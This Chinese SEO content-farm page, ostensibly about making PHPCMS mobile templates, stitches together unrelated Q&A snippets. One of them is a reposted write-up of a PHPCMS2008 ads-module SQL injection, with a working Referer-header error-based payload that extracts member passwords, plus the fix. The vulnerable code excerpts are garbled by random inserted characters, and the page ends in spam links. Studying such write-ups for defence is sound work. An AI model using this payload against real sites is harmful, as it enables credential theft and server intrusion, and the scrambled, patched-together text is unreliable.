phpcms如何做手机端模板

编辑整理:整理来源:维基百科,浏览量:120,时间:2023-03-14 13:30:02

关于phpcms如何做手机端模板内容导航:

1、phpcms如何做手机端模板

补充知识:下载 CMS 模板 然后修改,可以参考的有 CMS 防站教程 百度找找研究一下吧。
phpcms如何做手机端模板

你在后台输入中文,系统无法计算价格的,如果你只是希望在前台显示中文,可以做一些判断,即当你输入某个数的时候,前台显示的不是数字,而是中文(例如:时价)这样就可以达到目的了
phpcms的程序和模板是分离的.模板文件在根目录下的templates文件夹里面.
具体可以看一下PHPCMS2008 开发文档.

2、phpcms手机版模板

00 漏洞描述

PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透。

01 漏洞分析

漏洞产生的位置:

/ads/include/ads_place.clas编某s.php的show方法中.

f来自unction show真春让汽先困呼态段续($placeid) ... if($adses[0]['option']) { foreach($adses as $ads) { $contents[] = ads_content($ads, 1); $this->db->query(“INSERT INTO$this->stat_table(`adsid`,`user王伯name`,`ip`,`referer`,`宁困机clicktime`,`type`)VALUES (‘$a皮ds[adsid]','始敌$_username','$ip',‘$this->referrer',‘$time',,'0')”); $temp蛋树诗late = $ads['template'] ? $ads['定基械叶史实template'听元声眼作太企美存何烟] : 'ads'; } } ...

sql语句中

$this->db->query(“INSERT INTO$this->stat_table(`a确元代英针书dsid`,`us妈值序ername`,`ip`,`referer`,张田画采化什顾整钢庆`clicktime告田件弦`,`type`章所略值车修律)VALUES (‘$ads[adsid]','$_username','$ip',‘$this->referre价措乱丝磁坏停r',‘$time',,'0')”);

这里$this->referrer通过this方法直接将HTTP请求头中的referer字段插入到数据库中,没有做任何过滤措施。(这个this方法是PHPCMS里面直接封装的)。

所以现在已经找到漏洞点,下一步就是找包含漏洞的用户可控的页面。如果漏洞是用户不可控的,比如只能管理员利用,那就相当的鸡肋了。

这里使用回溯的方法,看看哪些页面调用了它。

页面/ads/include/commom府于飞乎更岩责伯须数输.inc.php

<?php .战来看.. require MOD_ROOT.'include/ads_place.class.php'; require MOD_ROOT.'include/ads.class.php'; ... ?>

在往上看看谁调用了/ads/include/comm烈层居尽设参缺金书om.inc.php

/ads/ad.php文件中

<?php ... require './include/common.inc.php'; ... ?>

ad.php文件为用户可控文件,但ad.php有时不能访问,继续向上查找/data/js.php

<?php chdir(‘../ads/'); require ‘./ad.php'; ?>

在用户访问首页时,会调用js.php,通过该文件可以提交有害字段,然后通过逐层调用,传入字段referer到危险方法show,引入SQL注入攻击。

02 漏洞利用

修改请求头中的referer字段的话有很多种,比如burpsuite,Tamper Data…

这里直接使用火狐的Tamper Data进行修改:

点击Start Tamper,然后访问http://your-addr/data/js.php?id=1

这时候Tamper Data会跳出来,在右边框内,点击右键,添加一个element值填写payload

referer=1', (SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#

这里我解释一下:因为漏洞的sql语句是INSERT是不回显的,所以可以使用盲注,这里的payload使用的floor报错注入。floor报错注入原理请参考:floor函数用法

把这个payload带入sql语句中是:

$this->db->query(“INSERT INTO$this->stat_table(`adsid`,`username`,`ip`,`referer`,`clicktime`,`type`)VALUES (‘$ads[adsid]','$_username','$ip',‘1',‘$time',(SELECT 1 FROM (select count(*), concat(floor(rand(0)*2),char(45,45,45),(SELECT password from phpcms_member limit 1))a from information_schema.tables group by a)b), ‘0')#,'0')”);

03 漏洞修复

对相关字段进行过滤处理。

$referer = safe_replace($this->referer); $this->db->query("INSERT INTO $this->stat_table (`adsid`, `username`, `ip`, `referer`, `clicktime`, `type`) VALUES ('$ads[adsid]', '$_username', '$ip', '$referer', '$time', '0')"); $template = $ads['template'] ? $ads['template'] : 'ads';

这里safe_replace是PHPCMS2008封装的过滤函数。

以上所述是小编给大家介绍的PHPCMS2008广告模板SQL注入漏洞,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!


phpcms手机版模板

3、phpcms手机端和pc端制作

PHPCMS是手机端和PC端是需要两个域名的,在配置里面有设置。
访问的话就在PC端添加一段代码,判断访问的设备,如果是手机访问就跳转到手机域名。
var bForcepc = fGetQuery("dv") == "pc";
function fBrowserRedirect(){
        var sUserAgent = navigator.userAgent.toLowerCase();
        var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";        
        var bIsIphoneOs = sUserAgent.match(/iphone os/i) == "iphone os";
        var bIsMidp = sUserAgent.match(/midp/i) == "midp";
        var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";
        var bIsUc = sUserAgent.match(/ucweb/i) == "ucweb";
        var bIsAndroid = sUserAgent.match(/android/i) == "android";
        var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
        var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
        if(bIsIpad){
                var sUrl = location.href;    
                if(!bForcepc){
                        window.location.href = "http://wap.shouji.com/index.php";
                }
        }
        if(bIsIphoneOs || bIsAndroid){
                var sUrl = location.href;    
                if(!bForcepc){
                        window.location.href = "http://wap.shouji.com/index.php";
                }
        }
        if(bIsMidp||bIsUc7||bIsUc||bIsCE||bIsWM){
                var sUrl = location.href;    
                if(!bForcepc){
                        window.location.href = "http://wap.shouji.com/index.php";
                }
        }
}
function fGetQuery(name){//获取参数值
        var sUrl = window.location.search.substr(1);
        var r = sUrl.match(new RegExp("(^|&)" + name + "=([^&]*)(&|$)"));
        return (r == null ? null : unescape(r[2]));
}
function fShowVerBlock(){        
        if(bForcepc){
                document.getElementById("dv_block").style.display = "block";
        }
        else{
                document.getElementById("ad_block").style.display = "block";
        }
}
fBrowserRedirect();
phpcms手机端和pc端制作

phpcms中的手机模块没有指定生成静态网页功能。那么,分一下两种情况解决:
1. 如果你会二次开发,最好还是自己扩展开发出手机模块的生成静态功能。其实开发思路非常简单,因为内容模块中已经有生成静态的类了,只要复制一份放到手机模块中然后进行引用将静态页面生成到指定的目录下即可。内容页生成静态类目录:phpcms/modules/content/class/html.class.php
2. 如果你对php不熟悉不能进行二次开发,建议“曲线救国”:
第一种方案:使用伪静态路由规则替代生成静态,这样“表面上”路由地址也很简略对seo等起到同样的效果。
第二种方案:再安装一个独立的phpcms系统,但是注意安装时选择“手工指定phpsso”那项来达到与你原phpcms系统用户同步。然后这个心phpcms系统直接在内容模块模板中使用你的手机页面制作模板。相当于搭建了两个用户同步的phpcms系统,一个是pc端一个是手机端。好处是可以自由生成静态了,差异是两端内容不同步是相对独立的。
ps:以上内容只提供了本人现在想到的解决办法思路。如果不会二次开发或对phpcms系统不熟悉可能吃力点,希望对你有帮助吧。对于phpcms的使用和二次开发教程可参考官网手册和 iphpcms 提供的视频教程。

行业热门话题:

【phpcms手机版模板】【phpcms手机端和pc端制作】【phpcms模板制作教程】【php手机网站制作】【phpcms手册】【phpcms 用的是什么模板引擎】【phpweb网站模板带手机同步】【dedecms手机模板】【phpcms生成html】【phpcms模块】
phpcms如何做手机端模板完!

相关推荐:

phpcms如何做手机端模板

phpcms如何做手机端模板,phpcms手机端和pc端制作,phpcms手机端和pc端制作

作者:整理来源:维基百科,时间:2023-03-14 13:30,浏览:121



关键词文章生成器,点击查看演示目录:http://www.wskqs.cn/shisange/


黄沙港镇微信 拓客-微信 拓客| 天津北辰区搜狗网络推广代运营| 斗山镇5个软文营销写作技巧-5个软文营销写作技巧有哪些| 软文营销内容布局的五大模板 广安白庙软文营销内容布局的五大模板有哪些| 面包软文营销范文-面包店软文| 松耸| 宿豫区旅游软文营销案例公司旅游活动软文| 帝国cms分页样式修改| 蓬勃发展的软文营销-软文营销软文推广| 采集爱站 爱彩网下载|
投稿| 1024(定向养站+文章采集+ai聚合)目录程序| 1888(定向养站+文章采集+ai聚合)泛目录版| 双标题| 挖关键词| 违禁词删除| 免费配图| 自助解答| 站长变现| 今日头条| 问答聚合| 818(今日头条资讯聚合演示)| 1024(采集聚合+ai聚合)| 1024 (AI定向养站目录程序)| 淘客文章带货| 伪原创| 定向养站目录程序| ai写作目录程序

苏ICP备2021004623号 (免责声明:本网站部分内容由用户自行上传,如权利人发现存在侵犯其权益情形,请及时与本站联系。)(版权所有:昆山市一路火信息技术服务中心) 友情导航 网络警察提醒您 中国互联网辟谣平台 中国文明网传播文明 中国互联网举报中心